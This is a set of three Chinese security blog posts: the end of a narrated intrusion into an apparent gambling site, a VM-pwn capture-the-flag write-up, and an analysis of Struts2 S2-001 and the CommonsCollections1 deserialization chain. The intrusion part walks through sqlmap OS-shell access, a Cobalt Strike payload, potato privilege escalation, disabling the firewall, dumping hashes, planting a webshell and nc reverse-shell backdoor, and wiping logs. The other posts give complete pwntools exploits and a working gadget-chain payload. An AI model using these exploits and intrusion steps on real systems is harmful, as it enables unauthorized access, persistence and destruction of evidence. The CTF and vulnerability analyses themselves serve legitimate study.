RYPlatformManagerDB 库可能存着管理员的相关信息 跑表名 python sqlmap.py -r qipai.txt --tables -D RYPlatformManagerDB 翻了半天就找到一个管理员的账号密码,就是前面 bp 爆破出来的那个,还有一些用户的信息,没啥更有价值的 python sqlmap.py -r qipai.txt --is-dba 是 DBA 权限,尝试拿 shell,mssql 数据库直接用 sqlmap 爆破路径就行了 python sqlmap.py -r qipai.txt --os-shell 用的盲注,时间较慢,经过漫长的等待终于成功拿 shell,渗透呐,表面上是个技术活,实际上是个体力活 当前用户权限很小,只是个 mssql 数据库权限 Systeminfo 查看一下系统信息,可以看到系统是 64 位的 Windows server 2008 Cobaltstrike 生成攻击载荷,再目标机器上用 powershell 加载,目标机器成功上线 net user 查看用户 tasklist 查看进程,应该没有装杀软 net start 查看已开启的服务,可以看到防火墙是开启的,所以前面 nmap 扫描 445 等端口被过滤 关闭防火墙,额还没提权 4 提权/维权 前面得知这个机器是 windows server 2008,尝试用土豆提权(MS16-075) 执行后稍等了一会儿,比较幸运,这个机器没打补丁,一次就提权成功,拿到 system 权限,开始为所欲为 进入文件管理,能看到前面信息收集时的 test.html 文件 netstat -ano 看一下端口开放情况,3389 没有开 手动开启一下 可以访问远程桌面了 cobaltstrike 操作我不是很熟练,还是用 metasploite 吧,通过 cs 上传一个 msf 生成的马,msf 开启监听 注:cs 可以直接派生 shell 给 msf,但是当时我尝试的老半天 msf 一直没有返回 session,所以才无奈先手动上传一个 msf 的马曲线救国 msf 开启监听 在 cs 上运行上传的马 msf 成功拿到 shell,是继承的 system 权限 查看密码哈希,不能获取,因为msf的这个马是32位的,系统是64位的 ps 查看进程,在进程中找一个以 system 权限运行的 64 位的程序,迁移进程后再获取哈希 到在线破解哈希的网站查一下 administrator 的密码,密码不算复杂,几秒钟就查到了 成功登录远程桌面 留两个后门,一个webshell,一个开机自启的nc用来反弹shell 5 清理痕迹/撤退 meterpreter 的 clearv 命令一键清除 或者手动删除 Windows 日志 6 总结 7 实验推荐--https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015011915533100001&pk_campaign=heetian-wemedia  通过本实验的学习,你能够了解sqlmap,掌握sqlmap的常用命令,学会使用sqlmap辅助手工完成注入。 8 声明 本文仅限于技术讨论与分享,严禁用于非法途径。若读者因此作出任何危害网络安全行为后果自负,与蚁景科技及原作者无关。
vm-pwn入门
文章共计2761个词 预计阅读7分钟 来和我一起阅读吧 ≈≈≈≈≈≈≈≈≈≈≈≈≈≈ 引言 之前一直没去了解过vm-pwn,做一些题目对vm-pwn进行一个大体上的了解,算是入门。 前置知识 1.对指令有过了解 2.有耐心(感觉vm程序的代码量有点大) [OGeek2019 Final]OVM 检测保护 canary没开启 ida分析 main函数 fetch函数 fetch函数较为简单,即取出pc值,以pc值作为下标返回指定的指令 execute函数 可以看到指令是由几个部分组成的,其实execute函数就是一个指令表,我们通过指令表输入相应的指令就可以完成相应的操作。 指令表 操作码|操作数1|操作数2|操作数3 op   |num1  |num2  |num3 --------------------------- 操作码 0x70: reg[num1] = reg[num3]+reg[num2] | add指令 0xB0: reg[num1] = reg[num3]^reg[num2] | 异或指令 0xD0: reg[num1] = reg[num2]>>reg[num3] | 右移指令 0xFF: 若reg[13]为0,则退出,否则打印指令集 0xC0: reg[num1] = reg[num2] << reg[num3] | 左移指令 0x90: reg[num1] = reg[num3] & reg[num2] |与指令 0xA0: reg[num1] = reg[num3] | reg[num2] |或指令 0x80: reg[num1] = reg[num2] - reg[num3] | sub指令 0x30: reg[num1] = memory[reg[num3]] | mov reg memory 指令 0x50: stack[op] = reg[num1] | push指令 0x60: reg[num1] = stack[reg[13]] | pop指令 0x40: memory[reg[num3]] = reg[num1] mov memory reg 指令 0x10: reg[num1] = v2(最低位) | set指令 0x20: reg[num1] = v2 ==0 其中漏洞点在于两条指令,由于数组的下标没有进行限制,则会产生数组越界的情况。则造成了任意地址写和任意地址读的情况。 0x30: reg[num1] = memory[reg[num3]] | mov reg memory 指令  //任意地址读 0x40: memory[reg[num3]] = reg[num1] mov memory reg 指令 //任意地址写 采用movsxd指令进行下标的转移,movsxd是进行符号填充再进行转移,即数组的下标是有符号数。 可以看到用于保存指令的memory以及用于寄存器存储的reg的地址都比got表的地址大,那么大数组的下标为负数时,即可越界读取got表内的地址,完成基地址的泄露 思路 ●首先程序再结束时,会往comment[0]的内容作为地址写入,然后将comment[0]给free掉,那么可以将comment[0]的内容修改为free_hook-4,此时可以将free_hook-4修改为/bin/sh\x00,free_hook修改为system从而获得shell ●由于需要将commnet[0]修改为free_hook-4,那么首先需要泄露libc_base的地址,由于读取操作没有对下标进行限制,因此进行任意地址读,读取got表项的内容,泄露libc的地址 ●将读取得到libc地址,利用指令表的算数运算求得free_hook-4的地址,利用写操作没有对下标进行限制,进行任意地址写,往comment[0]内写入free_hook-4的地址 #step1 读取got表项内容 0x100a0001, #set指令,将r10设置为1 0x100b0009, #set指令,将r11设置为9 0xc00a0a0b, #左移指令,r10为1<<9=0x200 0x10010001, #set     将r1设置为1 0x10020006, #set     将r2设置为6 0xc0030102, #左移     r3=1<<6=0x40  0x10010004, #set     r1=4 0x10000006, #set     r0=6 0x70030301, #add     r3=0x40+4=0x44 0x80040003, #sub     r4=6-0x44=-0x3e,got表项 0x30050004, #read    将got表项内容读到r5,这里注意一次只能读取4个字节,因此还要在读一次 0x7004040d,#将下标+1 0x30060004,#读取剩下的4个字节 解释一下-0x3e,我们找到需要泄露的got表项的地址,与memory地址相减,然后要除以4,因为这个值为数组的下标,而数组的大小为int型,因此要除以4,即可求出目标地址的下标值 #step2 往commnet[0]写入 由于以及泄露出got表现的地址,该地址与free_hook-4的地址相对偏移是不变的,因此就需要利用指令表的指令进行算数运算求出free_hook-4的地址即可,接着再次利用数组越界将free_hook-4写入comment[0]即可 0x10000003, 0x1001000f, 0xc0000001, 0x10010005, 0xc0000001, 0x10020004, 0x1001000f, 0xc0020201, 0x10010001, 0xc0020201, 0x70000002, 0x1001000c, 0x10020002, 0xc0020201, 0x70000002, 0x10010008, 0x10020002, 0xc0020201, 0x70000002, 0x10010004, 0x1002000b, 0xc0020201, 0x70000002, 0x70050500, 0x10000000, 0x10010008, 0x80000001,#计算出comment[0]的下标 0x40050000,#将free_hook-4的低四字节写进comment[0] 0x10010001, 0x70000001, 0x40060000,#写入剩余的4个字节 0xff000000 #打印寄存器内容 完整exp from pwn import * libc = ELF("libc.so.6") context(arch='amd64',os='linux') sh = process("./pwn") #sh = remote("node3.buuoj.cn",26699) free_hook = libc.symbols['__free_hook'] print 'free_hook:'+hex(free_hook) code = [ 0x100a0001, #set指令,将r10设置为1 0x100b0009, #set指令,将r11设置为9 0xc00a0a0b, #左移指令,r10为1<<9=0x200 0x10010001, #set     将r1设置为1 0x10020006, #set     将r2设置为6 0xc0030102, #左移     r3=1<<6=0x40  0x10010004, #set     r1=4 0x10000006, #set     r0=6 0x70030301, #add     r3=0x40+4=0x44 0x80040003, #sub     r4=6-0x44=-0x3e,got表项 0x30050004, #read    将got表项内容读到r5,这里注意一次只能读取4个字节,因此还要在读一次 0x7004040d,#将下标+1 0x30060004,#读取剩下的4个字节 0x10000003, 0x1001000f, 0xc0000001, 0x10010005, 0xc0000001, 0x10020004, 0x1001000f, 0xc0020201, 0x10010001, 0xc0020201, 0x70000002, 0x1001000c, 0x10020002, 0xc0020201, 0x70000002, 0x10010008, 0x10020002, 0xc0020201, 0x70000002, 0x10010004, 0x1002000b, 0xc0020201, 0x70000002, 0x70050500, 0x10000000, 0x10010008, 0x80000001,#计算出comment[0]的下标 0x40050000,#将free_hook-4的低四字节写进comment[0] 0x10010001, 0x70000001, 0x40060000,#写入剩余的4个字节 0xff000000 #打印寄存器内容 ] sh.recvuntil("PC:") sh.sendline(str(0)) sh.recvuntil("SP:") sh.sendline(str(1)) sh.recvuntil("CODE SIZE:") sh.sendline(str(len(code))) sh.recvuntil("CODE: ") for i in code:   sleep(0.1)   sh.sendline(str(i)) sh.recvuntil("R5: ") addr1 = sh.recv(8) print 'addr1:'+addr1 sh.recvuntil("R6: ") addr2 = sh.recv(4) print 'addr2:'+addr2 addr = int('0x'+addr2+addr1,16) print 'addr:'+hex(addr) libc_base = addr - 0x3c67a0 system = libc_base + libc.symbols['system'] print 'system:'+hex(system) sh.recvuntil("OVM?") payload = '/bin/sh\x00'+p64(system) attach(sh) sh.send(payload) sh.interactive() ciscn_2019_qual_virtual 检测保护 ida分析 main函数 程序开始开辟了三个空间,用于存放指令,数据,以及用于操作的数据空间。 指令表 指令间是通过分隔符执行分隔的,分隔符有 \n\r\t存进了名为delim的变量,strtok是根据分隔符将字符串分割出来,就是为了区分我们输入的指令。指令是采用字符串进行输入的。 execute 在执行指令的函数里,具体的指令操作没有反编译出来,我们需要动态调试将指令具体的操作的函数偏移调试出来。 将断点断在跳转时,因为rax是通过动态赋值的,因此ida不能分析出具体跳转的函数 进入gdb进行动态调试 输入你需要查找的指令 查看此时rax的值 在ida内,G键输入跳转,输入rax的值 可以发现这里会调用一个函数,这个函数就是save指令的操作,其余指令的操作也可以这样调试出来,就不一一演示了。 save save函数就是从运行栈的栈顶中取出两个值,一个值作为下标,另一个作为值进行赋值,很显然是一个任意地址写的功能,因为下标的值没有进行限制,因此存在一个数组越界。 load 存在一个任意地址写,按照套路,就应该存在一个任意地址读,我们来看下load函数,load函数就是从运行栈的栈顶取出一个值作为下标,并且将该下标的值存入运行栈中,位于运行栈的栈顶。通用存在数组越界 思路 程序没有开启got表的保护,可以修改puts函数的got表项为system 通过load函数的数组越界漏洞读取libc的值 通过save函数的数组越界漏洞将system写入puts函数的got表项 在执行puts(s)时触发system 完整exp from pwn import * libc = ELF("libc.so.6") #sh = process("./pwn") sh = remote("node3.buuoj.cn",26845) puts_got = 0x404020 sh.recvuntil("name:") sh.sendline("/bin/sh\x00") sh.recvuntil("instruction:") payload= 'push push load push sub div load push add ' payload+= 'push push load push sub div save ' sh.sendline(payload)  sh.recvuntil("data:") payload = str(8)+' ' payload += str(-4)+' ' payload += str(puts_got+8)+' ' payload += str(-0x2a300)+' ' payload += str(8)+' ' payload += str(-5)+' ' payload += str(puts_got+8)+' ' #attach(sh) sh.sendline(payload) sh.interactive() 实验推荐--https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014103116591300001&pk_campaign=heetian-wemedia
Java-Web之s2-001与CommonsCollections
本文源自我个人入坑Java-Web安全的一点小经验,献给那些看得懂java代码但不知道从哪里入手代审的师傅们:) Struts2之s2-001 环境配置 说说环境配置的问题,大多数人对漏洞复现的恐惧感还是来自于环境的配置,也许配了大半天的环境后只花几分钟就把漏洞复现了,感觉有点得不偿失,环境配置过程又是因各人电脑问题有着五花八门的问题,因此有时候会找不到问题出在哪。 虽说有现成的vulhub,但有些没有被收录在内的洞我们想复现时就需要自己搭环境了;并且有个好处就是我们可以下断点慢慢试分析漏洞的原理而不是只会用poc。 需要列表: ◆ jdk1.8 ◆ tomcat ◆ Struts2 ◆ idea 一:jdk 最好就是用1.8,高低版本可能都会各种水土不服的情况(除了漏洞版本就是需要高低版本的条件)。 二:tomcat tomcat配置其实很简单,笔者这里使用的是macos环境,直接上官网找对应版本即可,除非tomcat漏洞,否则通常来说哪个版本应该都是可以的。 下载下来后到bin目录下两行命令启动: chmod +x *.sh ./startup.sh 关闭则是运行: ./shutdown.sh 启动后默认在本机8080端口会启动一个服务,访问后得到该页面表示成功: 三:ide 我选择idea,下面讲讲idea配置tomcat。 找到偏好设置之后搜索server,如下图找到application servers,选择+号新增一个tomcat服务器。 在弹出的页面中的tomcat home路径选择为bin的上级路径也就是我们tomcat的根目录即可。 四:struts2 我这里选择使用vulhub内的war包进行部署,说说war包部署的方法。 通常war包我们只需要复制到tomcat的webapps下启动tomcat就会自动解包,我们这里可以把war包解压之后用idea打开该项目,之后add configurations添加一个tomcat服务器,如下: 然后在deployment选项下把我们项目添加进去即可开启我们愉快的debug了。 我们把lib里面的jar包都选择add to library,然后随意点进去一个类如果maven能够找到源码即可直接download,否则我们就需要自己下载源码然后点击choose source选择源码。 利用 在分析前我们看看poc: %{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"} 我们在输入后会显示出结果为: tomcatBinDir{/Users/hhhm/Downloads/apache-tomcat-7.0.105/bin} 最简单的poc: %{1+1} 输出2. 分析 先从漏洞原理分析以便于我们的断点: 该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行 http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html我们运行项目会发现是一个登陆框,并且结合介绍我们就能够知道可以在如下图处下断点: 我们知道输入后一旦经过漏洞处,那么我们的页面就会有回显,最好的办法就是一直盯着页面一边debug,我习惯是用f8看,一旦运行到了对应的代码页面就会有回显,此时就在该位置下一个断点,然后下次就继续从断点处用f7进入。 一整套下来要花不少时间,漏洞比较久了,网上的文章分析够多了,因此我们直接看到: //TextParseUtil/translateVariables     public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator) {         // deal with the "pure" expressions first!         //expression = expression.trim();         Object result = expression;         while (true) {             int start = expression.indexOf(open + "{");             int length = expression.length();             int x = start + 2;             int end;             char c;             int count = 1;             while (start != -1 && x < length && count != 0) {                 c = expression.charAt(x++);                 if (c == '{') {                     count++;                 } else if (c == '}') {                     count--;                 }             }             end = x - 1;             if ((start != -1) && (end != -1) && (count == 0)) {                 String var = expression.substring(start + 2, end);                 Object o = stack.findValue(var, asType);                 if (evaluator != null) {                   o = evaluator.evaluate(o);                 }                 String left = expression.substring(0, start);                 String right = expression.substring(end + 1);                 if (o != null) {                     if (TextUtils.stringSet(left)) {                         result = left + o;                     } else {                         result = o;                     }                     if (TextUtils.stringSet(right)) {                         result = result + right;                     }                     expression = left + o + right;                 } else {                     // the variable doesn't exist, so don't display anything                     result = left + right;                     expression = left + right;                 }             } else {                 break;             }         }         return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);     } 在这里下个断点,看看调试后的结果: 这是调试到某个循环时出现的结果,那么我们继续调试,直接这里慢慢f8,再一次循环后会发现我们外面的花括号去掉了: 我们会发现其流程是这样的: %{password}->%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"} ->tomcatBinDir{/Users/hhhm/Downloads/apache-tomcat-7.0.105/bin} 我们在表单中输入的password字段会先生成为%{password},然后再解析该表达式得到我们输入的值,也就是说他在解析完password后得到的值为: %{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"} 但此时并没有停止解析,而是递归的解析了我们恶意的ognl表达式,此时我们将得到: tomcatBinDir{/Users/hhhm/Downloads/apache-tomcat-7.0.105/bin} 此时就达成了代码执行。 Apache Commons Collections1 前面通过s2-001对idea代审有一个初步了解,现在审审热门的Apache Commons Collections,我这里审的是yso的链1。 yso指的是:ysoserial https://github.com/frohoff/ysoserial 环境配置 具体的不多说,关于java反序列化的知识p神有专门的一系列java漫谈,我这里就再叨叨一下环境。 我们把项目从github上clone下来后,idea打开我们选中项目里面的pom.xml 此时应该是会自动maven导包的,然后我们可以在idea里面选择pom.xml右键如下图下载源码: 我们单独测试payload时可以直接运行payload,其默认为calc.exe,那么我在macos上因为计算器的路径不同,就需要修改一下: 我本地用的jdk版本时1.8u66,(链1在8u71后就会触发失败了),那么我们再运行就可以成功弹出计算器了,那么我们就开始分析这条链。 分析 给出的链整体是如下图: /*   Gadget chain:     ObjectInputStream.readObject()       AnnotationInvocationHandler.readObject()         Map(Proxy).entrySet()           AnnotationInvocationHandler.invoke()             LazyMap.get()               ChainedTransformer.transform()                 ConstantTransformer.transform()                 InvokerTransformer.transform()                   Method.invoke()                     Class.getMethod()                 InvokerTransformer.transform()                   Method.invoke()                     Runtime.getRuntime()                 InvokerTransformer.transform()                   Method.invoke()                     Runtime.exec()   Requires:     commons-collections  */ 链是从readObject开始的,并且可以看到这条链出现了大量的transform,先讲讲这是什么。 transform方法是Transformer接口所定义的是将输入转为输出的一个方法,通常该Gadget都是主要围绕着ConstantTransformer、InvokerTransformer、ChainedTransformer等Transformer的实现类。 因为有具体的链,所以我个人觉得从后往前讲比较容易把整条链串起来,先对代码一块一块拆开分析一下。 先看看这部分: c.transform()     ConstantTransformer.transform()     InvokerTransformer.transform()         Method.invoke()             Class.getMethod()     InvokerTransformer.transform()         Method.invoke()           Runtime.getRuntime()     InvokerTransformer.transform()       Method.invoke()         Runtime.exec() 这一部分都是先前说过的Transformer实现类,可以看到ChainedTransformer的会先被调用,而ChainedTransformer的transform方法如下: private final Transformer[] iTransformers; public Object transform(Object object) {     for(int i = 0; i < this.iTransformers.length; ++i) {         object = this.iTransformers[i].transform(object);     }     return object; } iTransformers是一个Transformer类数组,看得出来这个transform的作用就是调用该数组内的每个对象的transform,并且将上一个调用transform的结果作为下一个调用transform方法的参数,以此来达成链式调用的形式,而我们的iTransformers则是ChainedTransformer的构造器的一个参数: public ChainedTransformer(Transformer[] transformers) {     this.iTransformers = transformers; } 这意味着我们是能够控制这个参数,漏洞利用的最需要的就是参数可控,这里就满足了,继续看会发现有一个ConstantTransformer以及三个InvokerTransformer是处于同一级别的,从payload可以看出来他们被放在了前面说的参数可控的数组内: 这里的最后一个ConstantTransformer是可以去掉的(这里估计p神的说法是为了隐蔽了启动进程的日志特征,不必过分纠结),因为我们的链只到第三个invoke就完事了,exec大家都很眼熟了,先看看第一个实现类的transform方法有什么用: private final Object iConstant; public ConstantTransformer(Object constantToReturn) {   super();   iConstant = constantToReturn; } public Object transform(Object input) {   return iConstant; } 看看transform,其实是去return我们传入的Runtime.class了。 下面的关键就是InvokerTransformer,来看看其transform方法: public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {   super();   iMethodName = methodName;   iParamTypes = paramTypes;   iArgs = args; } public Object transform(Object input) {   if (input == null) {     return null;   }   try {     Class cls = input.getClass();     Method method = cls.getMethod(iMethodName, iParamTypes);     return method.invoke(input, iArgs);   } catch (NoSuchMethodException ex) {     throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");   } catch (IllegalAccessException ex) {     throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");   } catch (InvocationTargetException ex) {     throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);   } } 可以见得关键在三行代码: Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); //实际的值 Class cls = input.getClass(); Method method = cls.getMethod('getMethod', new Class[] {           String.class, Class[].class }); return method.invoke(Runtime.class, new Object[] {           "getRuntime", new Class[0] }); 我们要的只是return的值,对比一下会发现input为上一次被调用的transform方法的返回值,iMethodName,iParamTypes以及iArgs为我们在调用构造函数时传入的值,这里可能看起来有点绕,先了解一下invoke吧: 对于invoke,若方法为静态方法,则传入的为class类;否则为类对象,上面的getRuntime便是静态方法。 看得出来这里是先从Runtime.class,的getmethod中获取到getmethod,然后从getmethod中调用invoke,因为getRuntime无参数,所以传入一个`new Class[0],后续的链也是同样的分析方式,重点需要理解清楚反射到底是什么意思。 这里给一个反射的payload对照一下: Class clazz = Runtime.class; Object rt = clazz.getMethod("getRuntime").invoke(clazz); clazz.getMethod("exec", String.class).invoke(rt,"calc"); 整理一下目前的链为: Transformer[] transformers = new Transformer[]{   new ConstantTransformer(Runtime.class),   new InvokerTransformer("getMethod", new Class[] {     String.class, Class[].class }, new Object[] {     "getRuntime", new Class[0] }),   new InvokerTransformer("invoke", new Class[] {     Object.class, Object[].class }, new Object[] {     null, new Object[0] }),   new InvokerTransformer("exec",                          new Class[] { String.class }, new String[] { "calc" }) }; Transformer transformerChain = new ChainedTransformer(transformers); 然后继续回看刚刚没看完的链: AnnotationInvocationHandler.readObject()         Map(Proxy).entrySet()           AnnotationInvocationHandler.invoke()             LazyMap.get() LazyMap.get(),直接上源码看起来就很容易懂的了: protected LazyMap(Map map, Transformer factory) {     super(map);     if (factory == null) {         throw new IllegalArgumentException("Factory must not be null");     }     this.factory = factory; } public static Map decorate(Map map, Transformer factory) {     return new LazyMap(map, factory); } public Object get(Object key) {     // create value for key if key is not currently in the map     if (map.containsKey(key) == false) {         Object value = factory.transform(key);         map.put(key, value);         return value;     }     return map.get(key); } 很明显的看到了transform,key可控,那么我们前面的ChainedTransformer利用条件的transform就有了。 然而这里的构造器是protected的,但注意到有一个decorate方法(是一种设计模式,看名字应该是装饰模式,没有具体了解)。 那么到这里我们的payload就增加为: Transformer[] transformers = new Transformer[]{   new ConstantTransformer(Runtime.class),   new InvokerTransformer("getMethod", new Class[] {     String.class, Class[].class }, new Object[] {     "getRuntime", new Class[0] }),   new InvokerTransformer("invoke", new Class[] {     Object.class, Object[].class }, new Object[] {     null, new Object[0] }),   new InvokerTransformer("exec",                          new Class[] { String.class }, new String[] { "calc" }) }; Transformer transformerChain = new ChainedTransformer(transformers); Map map = new HashMap(); Map lazyMap = LazyMap.decorate(map, transformerChain); lazyMap.get(transformerChain); 感兴趣的读者可以试试现在是不是可以弹出计算器了,然而这里又产生了一个问题,怎么调用map的get方法(笔者这上面的payload是手动动调用了get方法),强悍的yso作者找到了AnnotationInvocationHandler类,仔细看看这块代码做了什么: private void readObject(ObjectInputStream paramObjectInputStream) throws IOException, ClassNotFoundException {   ······     Map map = annotationType.memberTypes();     for (Map.Entry entry : this.memberValues.entrySet()) {         String str = (String)entry.getKey();         Class clazz = (Class)map.get(str);         if (clazz != null) {             Object object = entry.getValue();             if (!clazz.isInstance(object) && !(object instanceof ExceptionProxy))                 entry.setValue((new AnnotationTypeMismatchExceptionProxy(object.getClass() + "[" + object + "]")).setMember((Method)annotationType.members().get(str)));          }      }  } 他重写了readObject方法,然而会发现这里并没有链里面的invoke,事实上这里是使用了动态代理: jdk为我们的生成了一个叫$Proxy0(这个名字后面的0是编号,有多个代理类会一次递增)的代理类,这个类文件时放在内存中的,我们在创建代理对象时,就是通过反射获得这个类的构造方法,然后创建的代理实例。通过对这个生成的代理类源码的查看,我们很容易能看出,动态代理实现的具体过程。 我们可以对InvocationHandler看做一个中介类,中介类持有一个被代理对象,在invoke方法中调用了被代理对象的相应方法。通过聚合方式持有被代理对象的引用,把外部对invoke的调用最终都转为对被代理对象的调用。 代理类调用自己方法时,通过自身持有的中介类对象来调用中介类对象的invoke方法,从而达到代理执行被代理对象的方法。也就是说,动态代理通过中介类实现了具体的代理功能。 也就是说,AnnotationInvocationHandler是一个中介类,我们调用了this.memberValues.entrySet()的时候会调用中介类的invoke方法,而调用时会先调用重写的方法,看起来很复杂,事实上可以理解为php里面的__call方法。 看看中介类的invoke: class AnnotationInvocationHandler implements InvocationHandler, Serializable { AnnotationInvocationHandler(Class<? extends Annotation> paramClass, Map<String, Object> paramMap) {     Class[] arrayOfClass = paramClass.getInterfaces();     if (!paramClass.isAnnotation() || arrayOfClass.length != 1 || arrayOfClass[false] != Annotation.class)         throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");      this.type = paramClass;     this.memberValues = paramMap; } public Object invoke(Object paramObject, Method paramMethod, Object[] paramArrayOfObject) {   ······     Object object = this.memberValues.get(str);  //调用了get方法     if (object == null)         throw new IncompleteAnnotationException(this.type, str);      if (object instanceof ExceptionProxy)         throw ((ExceptionProxy)object).generateException();      if (object.getClass().isArray() && Array.getLength(object) != 0)         object = cloneArray(object);      return object; } 梳理一下从上往下看就是调用AnnotationInvocationHandler的readObject方法时会调用到memberValues也就是代理类的entrySet,然后就会去调用中介类的invoke方法,invoke方法里面又会去调用memberValues的get方法,此时就与前面的map需要get连上来了。 这里给一下反射类的非公有构造器的方法: Class clazz = Class.forName("java.lang.Runtime"); Constructor c = clazz.getDeclaredConstructor(); c.setAccessible(true); clazz.getMethod("exec",String.class).invoke(c.newInstance(),"calc"); 这里的setAccessible是设置作用域,补充这一点是因为AnnotationInvocationHandler的构造器就是非公有的。 改写一下payload: package ysoserial; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import ysoserial.payloads.CommonsCollections1; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; import java.io.*; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map; public class InTest {     public static void main(String[] args) throws Exception {         Transformer[] transformers = new Transformer[]{             new ConstantTransformer(Runtime.class),             new InvokerTransformer("getMethod", new Class[] {                 String.class, Class[].class }, new Object[] {                 "getRuntime", new Class[0] }),             new InvokerTransformer("invoke", new Class[] {                 Object.class, Object[].class }, new Object[] {                 null, new Object[0] }),             new InvokerTransformer("exec",                 new Class[] { String.class }, new String[] { "calc" })         };         Transformer transformerChain = new ChainedTransformer(transformers);         Map map = new HashMap();         Map lazyMap = LazyMap.decorate(map, transformerChain);         Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");         Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);         construct.setAccessible(true);         InvocationHandler handler = (InvocationHandler) construct.newInstance(Override.class, lazyMap);         Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);         handler = (InvocationHandler) construct.newInstance(Override.class, proxyMap);         ByteArrayOutputStream barr = new ByteArrayOutputStream();         ObjectOutputStream oos = new ObjectOutputStream(barr);         oos.writeObject(handler);         oos.close();         System.out.println(barr);         ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));         Object o = (Object)ois.readObject();     } } 小结 不得不感叹能挖掘出这些漏洞的都是人才,没啥话好说了,只能说一句牛逼。 参考 https://xz.aliyun.com/t/7915p神java安全漫谈 实验推荐--https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015111916202700001&pk_campaign=heetian-wemedia  本实验通过Apache Commons Collections 3为例,分析并复现JAVA反序列化漏洞。